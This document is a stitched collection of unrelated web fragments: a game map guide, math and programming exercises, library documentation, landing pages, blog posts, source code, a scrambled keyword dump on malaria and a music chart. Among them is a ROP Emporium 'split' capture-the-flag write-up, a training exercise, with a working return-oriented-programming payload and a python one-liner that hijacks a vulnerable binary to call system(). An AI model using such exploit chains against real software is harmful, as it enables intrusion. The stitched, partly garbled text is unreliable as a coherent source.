Place: U.S. Vehicle Disposal Yard 437 , 160 miles SW of Kandahar, Afghanistan
Teams: US Army Rangers vs. OpFor
Type of Combat: Medium to short range combat
Terrain: Super tight corridors. A Maze to get through.
Trailer Park is a new map found in the Resurgence Pack DLC in Call of Duty: Modern Warfare 2. The map is centered around a mobile home park. The map size is small with tight corridors and run-n-gun type combat. It is reported that set in context of the game, this is the living quarters of the people who run U.S. Vehicle Disposal Yard 437, which is visible in the background. This is the smallest map in the Resurgence Package and one of the most intense for short range combat with plenty of places for players to camp.
This is an ideal map to score FMJ penetration kills to earn Extended Magazines as nearly all of the buildings and fences are very light cover with many gaps to see through. Offering many opportunities for easy penetration kills.
Stay where the plane is. No-one seems to go there and the caravan near one of the planes is a brilliant spot on Capture the Flag.
Snipers work best near the roadblock. Go down the path a bit and you can snipe like on Wasteland. Note that you may die easily, but if you stay against the small bit of fence your view will be limited, but it'll be harder to get killed.


@@include('../html/include/head.html')
@@include('../html/include/aside.html') @@include('../html/include/doc_header.html')
Home
Library
Title
Text
Text
Text
Text
Title
Text
Code
Text
Text
Text


%UseLnInsteadOfLog
theSign=SelectAtRandom(-1,1);
a=RandomInteger{}(1,4)*theSign;
b=RandomInteger{}(-5,5);
c=RandomInteger{}(-5,5);
g=RandomInteger{}((-4,-1),(1,4));
n=RandomInteger{}(2,5);
f =g \sqrt(a x+b)+c ;
theX = -b/a +RandomInteger{}((1,5)) *theSign;
leftPoint=-b/a;
rightPoint= -b/a + theSign * 8;
theY=(x=theX; f)_2;
theDerivative=d/dx f;
theSlope=(x=theX; theDerivative)_2;
basicPlot=
Plot2D(f, leftPoint, rightPoint, red)
+ PlotPoint((theX, theY), blue)
+ PlotWindow(300,300);
basicPlot + PlotSetId("canvas1")
Find the equation of the tangent to
\(y=\displaystyle f\)
at the point \displaystyle (theX, theY).
Your answer should be a line equation, of the form \(y-y_0=a(x-x_0)\) or equivalent.
Answer:
(not (CoefficientOf{}(y, EqualityToArithmeticExpression{}(AlgebraAnswer))==0))
and
(
(
(y-theY - theSlope(x-theX)) CoefficientOf{}(y, EqualityToArithmeticExpression{}(AlgebraAnswer) )
-
EqualityToArithmeticExpression{}(AlgebraAnswer)
)
==0
)
EnsureExpressionDependsOnlyOn{}(AlgebraAnswer, x, y)
%PlotShowJavascriptOnly
basicPlot
+PlotSegment (
(leftPoint, (x=leftPoint; SolveFor(y, AlgebraAnswer) )_2 ),
(rightPoint, (x=rightPoint; SolveFor(y, AlgebraAnswer) )_2 ),
blue )
+PlotSetId("canvas1")
TurnOffRules("DistributeMultiplication", "DistributeMultiplicationConstants");
y-theY= theSlope(x-theX)


Tetris Game
Instructions:
To change tetrominoes, press up key.
To move to left, press left key.
To move to right, press right key.
To move to down, press down key.
You can check how many lines you have completed in the top.
If you run out of moves, the game will be ended.
Lines: 0


|
Bootstrap Physics Assessment
|
#include <PhysicsDemoApp.h>
Public Member Functions | |
| PhysicsDemoApp () | |
| virtual | ~PhysicsDemoApp () |
| virtual bool | startup () |
| virtual void | shutdown () |
| virtual void | update (float deltaTime) |
| virtual void | draw () |
| void | initializeBall () |
| glm::vec2 | calculateVelocity (glm::vec2 initialPosition, glm::vec2 finalPosition, float gravity, float time) |
Protected Attributes | |
| aie::Renderer2D * | m_2dRenderer |
| aie::Font * | m_font |
| PhysicsScene * | m_physicsScene |
Initializes the game and loops it.
|
inline |
Constructor for the PhysicsDemoApp class.
|
inlinevirtual |
Deconstructor for the PhysicsDemoApp class.
| glm::vec2 PhysicsDemoApp::calculateVelocity | ( | glm::vec2 | initialPosition, |
| glm::vec2 | finalPosition, | ||
| float | gravity, | ||
| float | time | ||
| ) |
Calculates the velocity of objects.
|
virtual |
Prints objects to the console.
| void PhysicsDemoApp::initializeBall | ( | ) |
Creates a sphere and adds it to the scene.
|
virtual |
Deletes objects displayed to the console when the program is ended.
|
virtual |
Initializes the scene and applies variables when the program runs.
|
virtual |
Updates objects in the scene every frame.
|
protected |
Holds a pointer of the renderer.
|
protected |
Holds a pointer of the font.
|
protected |
Holds a pointer of the physics scene.


Use our Calendar to easily plan your workouts.
You can schedule your workouts from home on the computer, or on the go from your phone.
Save workouts you will repeat, and quickly reschedule them for anytime with the click of a button.
Keep track of your body metrics and measurements overtime from the start of your CleanLift experience.
CleanLift is better way to promote yourself
to a healthy
lifestyle.
CleanLift allows for a simple user
interface in a simple
mobile app.
Now that you're all set up
let's start working.
Checkout our application.
From desktop to mobile, your workout
experience will be our priority.
CleanLift has two plans. The free tier, and the premium tier.
Start free, and upgrade when you want!


Home
About
Members
Visual Representation of our Times
Poster Slideshow - 2nd Sem SY 2021-2022
Lecturer: Roy Canseco
Created: July 2022, Last Updated: July 2022
2022 Sir Roy and Students


Toggle navigation
Menu
Home
About
Projects
Blog
Photo library
Contact
Hello World!
It's Nice To Meet You
My Linkedin
My Github
My Blogs


--- layout: post status: publish published: true title: My Time at The Menu Bar author: Arthur Rosa author_login: arthurlockman author_email<EMAIL_ADDRESS>author_url: https://b.rthr.me wordpress_id: 481 wordpress_url: http://b.rthr.me/?p=481 date: '2013-07-28 13:50:52 -0400' date_gmt: '2013-07-28 17:50:52 -0400' tags: - Podcasts ---
The other night I had the pleasure of being one of the first people to be involved in what I hope will be the first of many Menu Bar call-in shows. It was a whole lot of fun, and one of the better experiences I’ve had within the Apple community. I’ve loved listening to The Menu Bar ever since episode one, and was glad to finally get to be a part of it. If you don’t already listen to it, you should give it a try. It’s my favorite podcast, and I think you’ll like it too.
Cheers!
EDIT: The episode is now live! Episode 16: Every Zac, Every Story


ROP Emporium split
Tools: IDA Free 7.0, gdb-gef, checksec, ropper Prerequistes: Stack frame Download solution: main.py
Overview
“You can do the […] 64bit challenge with a 3 link chain.”
So here we are, our first ROP. We’ll have to find a gadget allowing to call _system() with the correct parameter. The binary has the same protection as the previous one.
Function pwnme()
Overall, the function pwnme() is similar to the first challenge, except that _fgets() takes a longer input (96 bytes):
00000000004007EC mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
00000000004007F3 lea rax, [rbp+s]
00000000004007F7 mov esi, 96 ; n
00000000004007FC mov rdi, rax ; s
00000000004007FF call _fgets
However, the basics idea remains the same: taking over rip and no stack protector.
Function usefulFunction()
At 0x400807 is a cool function calling _system():
0000000000400807 usefulFunction proc near
0000000000400807 push rbp
0000000000400808 mov rbp, rsp
000000000040080B mov edi, offset command ; "/bin/ls"
0000000000400810 call _system
0000000000400815 nop
0000000000400816 pop rbp
0000000000400817 retn
0000000000400817 usefulFunction endp
It calls _system() with its first parameter pointing to the string “/bin/ls” (the Linux x64 calling convention puts parameters of functions in up to 6 registers: RDI, RSI, RCX, RDX, R8, R9; the Windows x64 calling convention uses RCX, RDX, R8, R9; and if a function requires more than 6 or 4 parameters they are put on the stack). However, we don’t want to execute “/bin/ls”, but “/bin/cat flag.txt”. Let’s do a search string in IDA with alt+t and enter “cat”; we find what we want at address 0x601060:
0000000000601060 public usefulString
0000000000601060 usefulString db '/bin/cat flag.txt',0
Now it would be nice if we could put this address in rdi. Let’s see what ropper can bring:
ropper -f split --search "pop ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ?di
[INFO] File: split
0x0000000000400883: pop rdi; ret;
Yay! 0x400883 is the way to go.
Chaining things
So, putting things together we’ll have to:
- Hijack rip to reach 0x400883, address of the gadget pop rdi;
- POP “0x601060” (the address of “/bin/cat flag.txt”) into rdi;
- Hijack rip to reach 0x400810, address of the call to _system().
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42' # RBP
payload += b'\x83\x08\x40\x00\x00\x00\x00\x00' # RIP: go to 'pop rdi'
payload += b'\x60\x10\x60\x00\x00\x00\x00\x00' # value to pop in rdi
payload += b'\x10\x08\x40\x00\x00\x00\x00\x00' # RIP: got to _system
Bash command line:
python -c 'print("\x41"*0x20+"\x42"*8+"\x83\x08\x40\x00\x00\x00\x00\x00\x60\x10\x60\x00\x00\x00\x00\x00\x10\x08\x40\x00\x00\x00\x00\x00")' | ./split
0x00007fffffffe1d0: 0x4141414141414141 <-+ buffer start
0x00007fffffffe1d8: 0x4141414141414141 |
0x00007fffffffe1e0: 0x4141414141414141 |
0x00007fffffffe1e8: 0x4141414141414141 <-+ buffer end
0x00007fffffffe1f0: 0x4242424242424242 <-- RBP
0x00007fffffffe1f8: 0x0000000000400883 <-- gadget "pop rdi"
0x00007fffffffe200: 0x0000000000601060 <-- ->"/bin/cat flag.txt"
0x00007fffffffe208: 0x0000000000400810 <-- call _system()
end of file


A New Growth Industry
问题描述 :
A biologist experimenting with DNA modification of bacteria has found a way to make bacterial colonies sensitive to the
surrounding population density. By changing the DNA, he is able to “program” the bacteria to respond to the varying densities in their immediate neighborhood.
The culture dish is a square, divided into 400 smaller squares (20×20). Population in each small square is measured on a four point scale (from 0 to 3). The DNA information is represented as an array D, indexed from 0 to 15, of integer values and is interpreted as follows:
In any given culture dish square, let K be the sum of that square’s density and the densities of the four squares immediately to the left, right, above and below that square (squares outside the dish are considered to have density 0). Then, by the next day, that dish square’s density will change by D[K] (which may be a positive, negative, or zero value). The total density cannot, however, exceed 3 nor drop below 0.
 Others result in immediate population explosions (e.g., [3,3,3, …, 3]), and others are just plain boring (e.g., [0, 0, … 0]). The biologist is interested in how some of the less obvious DNA programs might behave.
Write a program to simulate the culture growth, reading in the number of days to be simulated, the DNA rules, and the initial population densities of the dish.
输入:
1. The first line will contain a single integer denoting the number of days to be simulated.
2. The second line will contain the DNA rule D as 16 integer values, ordered from D[0] to D[15], separated from one another by one or more blanks. Each integer will be in the range -3…3, inclusive.
3. The remaining twenty lines of input will describe the initial population density in the culture dish. Each line describes one row of squares in the culture dish, and will contain 20 integers in the range 0…3, separated from one another by 1 or more blanks.
输出:
Each character will represent the population density at a single dish square, as follows:
No other characters may appear in the output.
样例输入:
1 2 0 1 1 1 2 1 0 -1 -1 -1 -2 -2 -3 -3 -3 -3 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
样例输出:
##!................. #!.................. !................... .................... .................... .................... .................... .........!.......... ........!#!......... .......!#X#!........ ........!#!......... .........!.......... .................... .................... .................... .................... .................... .................... .................... ....................
来源：点击打开链接
非常不错的一道模拟题，看起来足够复杂。一定要读懂题意，尤其是天数与那个数组，其实没有直接的关系，只与DNA更新的次数有关，这里wa了一天。。。ORZ
想做模拟的可以试试。
#include <iostream> #include <string> #include <cstring> using namespace std; int dir[4][2]={{0,-1},{0,1},{-1,0},{1,0}}; int mat[20][20],tar[20][20],tar2[20][20]; char transtar[20][20]; int pxvalue[16]; int main() { int testcase; cin>>testcase; for(int s=1;s<=testcase;s++) { memset(mat,0,sizeof(mat)); memset(tar,0,sizeof(tar)); memset(pxvalue,0,sizeof(pxvalue)); int day,tmp,tmpx,tmpy; cin>>day; for(int i=0;i<16;i++) { cin>>pxvalue[i]; } for(int i=0;i<20;i++) { for(int j=0;j<20;j++) { cin>>mat[i][j]; } } for(int k=0;k<day;k++) { for(int i=0;i<20;i++) { for(int j=0;j<20;j++) { tmp=mat[i][j]; for(int z=0;z<4;z++) { tmpx=i+dir[z][0]; tmpy=j+dir[z][1]; if(tmpx>=0 && tmpx<20 && tmpy>=0 && tmpy<20) tmp+=mat[tmpx][tmpy]; } tar[i][j] = mat[i][j]+pxvalue[tmp]; if(tar[i][j]>3) tar[i][j]=3; if(tar[i][j]<0) tar[i][j]=0; } } memcpy(mat,tar,sizeof(mat)); //滚动更新，重中之重 } for(int i=0;i<20;i++) { for(int j=0;j<20;j++) { if(tar[i][j]==0) { transtar[i][j]='.'; } else if(tar[i][j]==1) { transtar[i][j]='!'; } else if(tar[i][j]==2) { transtar[i][j]='X'; } else if(tar[i][j]==3) transtar[i][j]='#'; } } for(int i=0;i<20;i++) { for(int j=0;j<20;j++) { cout<<transtar[i][j]; } cout<<endl; } if(s!=testcase) cout<<endl; } return 0; }
这个后缀数组不是常用的那个.
非常好，初学者就应该先理解递归
博主的C++功底真是好
#!/usr/bin/env python def cou(n): arr = [1]
正确性是关键，冲突是都会有的，主要是那种算法冲突的概率低
有意思，有难度
还是有些难度的！
约瑟夫也用说这么长……很成熟的一个问题了，分治的方法解起来o(n)就可以了，有兴趣可以看看具体数学的第一章，关于约瑟夫问题推导出了一系列的结论，很漂亮
这道题这里的解法最坏情况似乎应该是指数的。回溯的时候
O(n) = O(n-1) + O(n-2) + ….
O(n-1) = O(n-2) + O(n-3)+ …
O(n) – O(n-1) = O(n-1)
O(n) = 2O(n-1)
前排支持
代码不错，赞一个！
The site You have write is very nicely prepared and quite insightful thanks for nice posta?|


Sign Up to Fifa.com
Name :-
Enter Email :-
Password :-
Confirm password :-
Mobile No :-
Gender :-
Male
Female
Sign Up


--- date: "2007-09-27T00:00:00Z" meta: _edit_last: "2" published: true status: publish categories: - Programming tags: - .NET title: NHibernate and Parent/Child Collections type: post ---
On a project that I'm currently involved with, I'm using NHibernate and a persistance-ignorant domain. Today NHibernate threw me a "You may not dereference an collection with cascade="all-delete-orphan"" error. This kind of had me confused for a bit. What this error means is this: When you have a parent-child relation in your domain, say something like this:
public class Parent{ISet<Child> _children;}
You can't do something like this in the parent class:
_children = new Set<Child>();
NHibernate gets angry with this and throws the aforementioned error. It does this because the collection object that NHibernate was tracking is now gone.
What you need to do is something like:
_children.Clear();
The collection object that NHibernate is tracking is still around, so NHibernate can figure out how to persist the collection of child objects.


Use Bootstrap’s custom button styles for actions in forms, dialogs, and more with support for multiple sizes, states, and more.
Bootstrap includes several predefined button styles, each serving its own semantic purpose, with a few extras thrown in for more control.
Using color to add meaning only provides a visual indication, which will not be conveyed to users of assistive technologies
– such as screen readers. Ensure that information denoted by the color is either obvious from the content itself (e.g. the
visible text), or is included through alternative means, such as additional text hidden with the
.sr-only
class.
If you don’t want the button text to wrap, you can add the .text-nowrap
class to the
button. In Sass, you can set $btn-white-space: nowrap
to disable text wrapping for each
button.
The .btn
classes are designed to be used with the
<button>
element. However, you can also use these classes on

or <input>
elements (though some
browsers may apply a slightly different rendering).
When using button classes on
elements that are used to trigger in-page
functionality (like collapsing content), rather than linking to new pages or sections within the current page, these links
should be given a role="button"
to appropriately convey their purpose to assistive
technologies such as screen readers.
In need of a button, but not the hefty background colors they bring? Replace the default modifier classes with the
.btn-outline-*
ones to remove all background images and colors on any button.
Fancy larger or smaller buttons? Add .btn-lg
or
.btn-sm
for additional sizes. If not provided, by default the regular size is used.
Create block level buttons—those that span the full width of a parent—by adding
.btn-block
.
Buttons will appear pressed (with a darker background, darker border, and inset shadow) when active.
There’s no need to add a class to <button>
s as they use a pseudo-class. However, you can still force the same active appearance with .active
(and include
the aria-pressed="true"
attribute) should you need to replicate the state programmatically.
Make buttons look inactive by adding the disabled
boolean attribute to any
<button>
element.
Disabled buttons using the
element behave a bit different:

s don’t support the
disabled
attribute, so you must add the
.disabled
class to make it visually appear disabled.
pointer-events
on anchor
buttons. In browsers which support that property, you won’t see the disabled cursor at all.
aria-disabled="true"
attribute to indicate the
state of the element to assistive technologies.
The .disabled
class uses
pointer-events: none
to try to disable the link functionality of

s, but that CSS property is not yet standardized. In addition, even in
browsers that do support pointer-events: none
, keyboard navigation remains
unaffected, meaning that sighted keyboard users and users of assistive technologies will still be able to activate these
links. So to be safe, add a tabindex="-1"
attribute on these links (to prevent them
from receiving keyboard focus) and use custom JavaScript to disable their functionality.
Do more with buttons. Control button states or create groups of buttons for more components like toolbars.
Add data-toggle="button"
to toggle a button’s
active
state. If you’re pre-toggling a button, you must manually add the
.active
class and
aria-pressed="true"
to the <button>
.
Bootstrap’s .button
styles can be applied to other elements, such as

s, to provide checkbox or radio style button toggling. Add
data-toggle="buttons"
to a .btn-group
containing
those modified buttons to enable their toggling behavior via JavaScript and add
.btn-group-toggle
to style the <input>
s
within your buttons. Note that you can create single input-powered buttons or groups of them.
The checked state for these buttons is only updated via click
event on
the button. If you use another method to update the input—e.g., with
<input type="reset">
or by manually applying the input’s
checked
property—you’ll need to toggle
.active
on the
manually.
Note that pre-checked buttons require you to manually add the .active
class to the
input’s
.


malaria Moscow transmission rural climate urban vivax Malaria city conditions change climatic {border-style period temperature px;} #ffffff;} (In Russian) favorability Russia development heat increase temperatures Figure areas Climate SEI USSR changes favorable region season (), However, Plasmodium beginning duration effective index stations values Moscow, island sporozoites trend Health global parts significant warming M.V. average especially falciparum mean mosquitoes px; recent spatial sum temperate thermal vector years {font-family A.J. World area based cases demonstrated font-size growth importation pronounced region, southern species station sums time, weather Bull. Europe M.G.; Malar. Medical Urban areas, autochthonous center, central double; earlier local located number oblast’ observed parasite parasites reintroduction requirements shown summer trends (which -year ADT Beljaev M.A. New Parasitology Russia, Russian analysis border-color border-width case city, control degree distribution end environment higher including intensification malaria. maturation megacity mosquitoes. observations particular rate resurgence solid; threshold time vectors warmer year years, {font-style {font-weight °C, ./--- A.B.; A.E. A.M. A.V. ADTs Balchug Central Data Dis. Environ. European Institute N.S. Organ. Sci. Season State Tatem Tropical V.P. [], and, areas. article better bold caused center coefficient conditions, consider considerable countries courier; data date days/ densely deterioration does dynamics em; following generate health human important indicators infected integral longer lower malaria: method mosquito northern park past possible present probably pt;} related relation risk shift significance socioeconomic speed stations, suitable surroundings variability warm western words,


Blog Post #3
James Lawson Monday, February 29th, 2016 Blog Post #3
What are Block, inline-block & inline and when should you use them?
Block, inline-block, and inline are all different ways to place text, links, images, etc on your website. Lets run through all of them:
Block Elements:
Have left and right margins, but no top and bottom
No set width and height
Line break after each element
No HTML elements
Inline Elements:
Elements can be on the left and right
No set width and height
Have left and right margins, but no top and bottom
No line break
Tolerates HTML elements
Inline-block elements:
Elements can sit left and right
Height, width, top, and bottom margins are respected
Same line as adjacent content
The three all have their advantages and disadvantages:
Block elements are best for lists or menu bars because they display vertically and all look the same, so the user wouldn’t be drawn to a specific block and can choose which element in the list they want to select.
Inline elements are best for when you’re displaying information in a paragraph structured way where you want information to flow as if you’re reading a paragraph. Therefore, someone can read it just like they would read a book. This is best for displaying general information. Another advantage is that you can place links and images right into your paragraph and you won’t disturb the user’s flow of reading.
Inline-block elements are best for menu bars at the top of web pages. When a user is on a webpage, they will have a bar at the top with navigation tabs, images, or links to take them around the website. I personally love websites that have a nice menu bar at the top that is all the same size and looks all the same because it is very easy to read and it is easy to navigate when all the different sections of the website are laid out in this very easy to read way.
http://stackoverflow.com/questions/9189810/css-display-inline-vs-inline-block http://www.w3schools.com/cssref/pr_class_display.asp http://designshack.net/articles/css/whats-the-deal-with-display-inline-block/


import itertools
from collections import OrderedDict, namedtuple
import numpy as np
from sympy import Indexed
from devito.ir.support import Stencil
from devito.exceptions import DSEException
from devito.symbolics import retrieve_indexed, q_indirect
__all__ = ['collect']
[docs]def collect(exprs):
"""
Determine groups of aliasing expressions in ``exprs``.
An expression A aliases an expression B if both A and B apply the same
operations to the same input operands, with the possibility for indexed objects
to index into locations at a fixed constant offset in each dimension.
For example: ::
exprs = (a[i+1] + b[i+1], a[i+1] + b[j+1], a[i] + c[i],
a[i+2] - b[i+2], a[i+2] + b[i], a[i-1] + b[i-1])
The following expressions in ``exprs`` alias to ``a[i] + b[i]``: ::
a[i+1] + b[i+1] : same operands and operations, distance along i = 1
a[i-1] + b[i-1] : same operands and operations, distance along i = -1
Whereas the following do not: ::
a[i+1] + b[j+1] : because at least one index differs
a[i] + c[i] : because at least one of the operands differs
a[i+2] - b[i+2] : because at least one operation differs
a[i+2] + b[i] : because distance along ``i`` differ (+2 and +0)
"""
ExprData = namedtuple('ExprData', 'dimensions offsets')
# Discard expressions:
# - that surely won't alias to anything
# - that are non-scalar
candidates = OrderedDict()
for expr in exprs:
if expr.lhs.is_Indexed:
continue
indexeds = retrieve_indexed(expr.rhs, mode='all')
if indexeds and not any(q_indirect(i) for i in indexeds):
handle = calculate_offsets(indexeds)
if handle:
candidates[expr.rhs] = ExprData(*handle)
aliases = OrderedDict()
mapper = OrderedDict()
unseen = list(candidates)
while unseen:
# Find aliasing expressions
handle = unseen.pop(0)
group = [handle]
for e in list(unseen):
if compare(handle, e) and\
is_translated(candidates[handle].offsets, candidates[e].offsets):
group.append(e)
unseen.remove(e)
# Try creating a basis for the aliasing expressions' offsets
offsets = [tuple(candidates[e].offsets) for e in group]
try:
COM, distances = calculate_COM(offsets)
except DSEException:
# Ignore these potential aliases and move on
continue
alias = create_alias(handle, COM)
# An alias has been created, so I can now update the expression mapper
mapper.update([(i, group) for i in group])
# In circumstances in which an expression has repeated coefficients, e.g.
# ... + 0.025*a[...] + 0.025*b[...],
# We may have found a common basis (i.e., same COM, same alias) at this point
v = aliases.setdefault(alias, Alias(alias, candidates[handle].dimensions))
v.extend(group, distances)
# Heuristically attempt to relax the aliases offsets
# to maximize the likelyhood of loop fusion
groups = OrderedDict()
for i in aliases.values():
groups.setdefault(i.dimensions, []).append(i)
for group in groups.values():
ideal_anti_stencil = Stencil.union(*[i.anti_stencil for i in group])
for i in group:
if i.anti_stencil.subtract(ideal_anti_stencil).empty:
aliases[i.alias] = i.relax(ideal_anti_stencil)
return mapper, aliases
# Helpers
def create_alias(expr, offsets):
"""
Create an aliasing expression of ``expr`` by replacing the offsets of each
indexed object in ``expr`` with the new values in ``offsets``. ``offsets``
is an ordered sequence of tuples with as many elements as the number of
indexed objects in ``expr``.
"""
indexeds = retrieve_indexed(expr, mode='all')
assert len(indexeds) == len(offsets)
mapper = {}
for indexed, ofs in zip(indexeds, offsets):
base = indexed.base
dimensions = base.function.dimensions
assert len(dimensions) == len(ofs)
mapper[indexed] = indexed.func(base, *[sum(i) for i in zip(dimensions, ofs)])
return expr.xreplace(mapper)
def calculate_COM(offsets):
"""
Determine the centre of mass (COM) in a collection of offsets.
The COM is a basis to span the vectors in ``offsets``.
Also return the distance of each element E in ``offsets`` from the COM (i.e.,
the coefficients that when multiplied by the COM give exactly E).
"""
COM = []
for ofs in zip(*offsets):
handle = []
for i in zip(*ofs):
strides = sorted(set(i))
# Heuristic:
# - middle point if odd number of values, or
# - strides average otherwise
index = int((len(strides) - 1) / 2)
if (len(strides) - 1) % 2 == 0:
handle.append(strides[index])
else:
handle.append(int(np.mean(strides, dtype=int)))
COM.append(tuple(handle))
distances = []
for ofs in offsets:
handle = distance(COM, ofs)
if len(handle) != 1:
raise DSEException("%s cannot be represented by the COM %s" %
(str(ofs), str(COM)))
distances.append(handle.pop())
return COM, distances
def calculate_offsets(indexeds):
"""
Return a list of tuples, with one tuple for each indexed object appearing
in ``indexeds``. A tuple represents the offsets from the origin (0, 0, ..., 0)
along each dimension. All objects must use the same indices, in the same
order; otherwise, ``None`` is returned.
For example, given: ::
indexeds = [A[i,j,k], B[i,j+2,k+3]]
Return: ::
[(0, 0, 0), (0, 2, 3)]
"""
processed = []
reference = indexeds[0].base.function.indices
for indexed in indexeds:
dimensions = indexed.base.function.indices
if dimensions != reference:
return None
handle = []
for d, i in zip(dimensions, indexed.indices):
offset = i - d
if offset.is_Number:
handle.append(int(offset))
else:
return None
processed.append(tuple(handle))
return tuple(reference), processed
def distance(ofs1, ofs2):
"""
Determine the distance of ``ofs2`` from ``ofs1``.
"""
assert len(ofs1) == len(ofs2)
handle = set()
for o1, o2 in zip(ofs1, ofs2):
assert len(o1) == len(o2)
handle.add(tuple(i2 - i1 for i1, i2 in zip(o1, o2)))
return handle
def is_translated(ofs1, ofs2):
"""
Return True if ``ofs2`` is translated w.r.t. to ``ofs1``, False otherwise.
For example: ::
e1 = A[i,j] + A[i,j+1]
e2 = A[i+1,j] + A[i+1,j+1]
``ofs1`` would be [(0, 0), (0, 1)], while ``ofs2`` would be [(1, 0), (1,1)], so
``e2`` is translated w.r.t. ``e1`` by ``(1, 0)``, and True is returned.
"""
return len(distance(ofs1, ofs2)) == 1
def compare(e1, e2):
"""
Return True if the two expressions e1 and e2 alias each other, False otherwise.
"""
if type(e1) == type(e2) and len(e1.args) == len(e2.args):
if e1.is_Atom:
return True if e1 == e2 else False
elif isinstance(e1, Indexed) and isinstance(e2, Indexed):
return True if e1.base == e2.base else False
else:
for a1, a2 in zip(e1.args, e2.args):
if not compare(a1, a2):
return False
return True
else:
return False
class Alias(object):
"""
Map an expression (the so called "alias") to a set of aliasing expressions.
For each aliasing expression, the distance from the alias along each dimension
is tracked.
"""
def __init__(self, alias, dimensions, aliased=None, distances=None,
ghost_offsets=None):
self.alias = alias
self.dimensions = tuple(i.parent if i.is_Derived else i for i in dimensions)
self.aliased = aliased or []
self.distances = distances or []
self._ghost_offsets = ghost_offsets or []
assert len(self.aliased) == len(self.distances)
assert all(len(i) == len(dimensions) for i in self.distances)
@property
def anti_stencil(self):
handle = Stencil()
for d, i in zip(self.dimensions, zip(*self.distances)):
handle[d].update(set(i))
for d, i in zip(self.dimensions, zip(*self._ghost_offsets)):
handle[d].update(set(i))
return handle
@property
def distance_map(self):
return [tuple(zip(self.dimensions, i)) for i in self.distances]
@property
def diameter(self):
"""Return a map telling the min/max offsets in each dimension for this alias."""
return OrderedDict((d, (min(i), max(i)))
for d, i in zip(self.dimensions, zip(*self.distances)))
@property
def relaxed_diameter(self):
"""Return a map telling the min/max offsets in each dimension for this alias.
The extremes are potentially larger than those provided by ``self.diameter``,
as here we're also taking into account any ghost offsets provided at Alias
construction time.."""
return OrderedDict((k, (min(v), max(v))) for k, v in self.anti_stencil.items())
@property
def with_distance(self):
"""Return a tuple associating each aliased expression with its distance from
``self.alias``."""
return tuple(zip(self.aliased, self.distance_map))
def extend(self, aliased, distances):
assert len(aliased) == len(distances)
assert all(len(i) == len(self.dimensions) for i in distances)
self.aliased.extend(aliased)
self.distances.extend(distances)
def relax(self, distances):
return Alias(self.alias, self.dimensions, self.aliased, self.distances,
self._ghost_offsets + list(itertools.product(*distances.values())))


Hi Farrah,
Let's start a new assessment
Please select an action for this user
Pre Assessment
Post Assessment


flixel.util.FlxCollision
- type
- class
FlxCollision
Static Methods
- parameters
Camera
The FlxCamera to use for the wall bounds (can be FlxG.camera for the current one)
Placement
CAMERA_WALL_OUTSIDE or CAMERA_WALL_INSIDE
Thickness
The thickness of the wall in pixels
AdjustWorldBounds
Adjust the FlxG.worldBounds based on the wall (true) or leave alone (false)
- returns
- FlxGroup The 4 FlxTileblocks that are created are placed into this FlxGroup which should be added to your State
- parameters
Contact
The first FlxSprite to test against
Target
The second FlxSprite to test again, sprite order is irrelevant
AlphaTolerance
The tolerance value above which alpha pixels are included. Default to 1 (anything that is not fully invisible).
Camera
If the collision is taking place in a camera other than FlxG.camera (the default/current) then pass it here
- returns
- Whether the sprites collide
- parameters
PointX
The x coordinate of the point given in local space (relative to the FlxSprite, not game world coordinates)
PointY
The y coordinate of the point given in local space (relative to the FlxSprite, not game world coordinates)
Target
The FlxSprite to check the point against
AlphaTolerance
The alpha tolerance level above which pixels are counted as colliding. Default to 1 (anything that is not fully invisible).
- returns
- Boolean True if the x/y point collides with the FlxSprite, false if not


Hello, I’m Spencer! I’m a software engineer with a passion for using technology to solve problems and create useful applications. I love learning and was drawn to coding by the fast-paced environment that encourages continuous learning and growing. When I’m not coding some of my favorite activities include: playing guitar, listening to music, reading, disc golf, collecting records, pro audio, and hanging out with friends.


YEAR-END CHARTS
HOT 100 SONGS
2
Umbrella
Rihanna Featuring Jay-Z
3
The Sweet Escape
Gwen Stefani Featuring Akon
5
Buy U A Drank (Shawty Snappin')
T-Pain Featuring Yung Joc
8
I Wanna Love You
Akon Featuring Snoop Dogg
10
Glamorous
Fergie Featuring Ludacris
MORE YEAR-END CHARTS VIEW ALL
14
Party Like A Rockstar
Shop Boyz
15
Smack That
Akon Featuring Eminem
18
The Way I Are
Timbaland Featuring Keri Hilson
21
Give It To Me
Timbaland Featuring Nelly Furtado & Justin Timberlake
23
Cupid's Chokehold/Breakfast In America
Gym Class Heroes Featuring Patrick Stump
26
My Love
Justin Timberlake Featuring T.I.
30
Walk It Out
Unk
33
Bartender
